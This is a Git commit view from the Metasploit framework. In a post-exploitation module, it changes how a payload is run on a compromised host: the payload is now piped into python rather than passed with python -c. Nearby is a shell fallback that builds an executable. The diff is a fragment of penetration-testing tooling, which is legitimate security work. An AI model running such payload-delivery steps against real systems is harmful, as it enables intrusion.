python -c payload -> echo payload | python

bug/bundler_fix
Tim 2017-02-04 17:57:17 +08:00
parent 9a5d5eec2e
commit 9e0cb9797b
No known key found for this signature in database
GPG Key ID: 62361A8B17EEED19
1 changed files with 1 additions and 1 deletions

View File

@ -174,7 +174,7 @@ class MetasploitModule < Msf::Post
end end
when 'python' when 'python'
vprint_status("Transfer method: Python") vprint_status("Transfer method: Python")
cmd_exec("python -c \"#{payload_data}\"") cmd_exec("echo \"#{payload_data}\" | python")
else else
vprint_status("Transfer method: Bourne shell [fallback]") vprint_status("Transfer method: Bourne shell [fallback]")
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)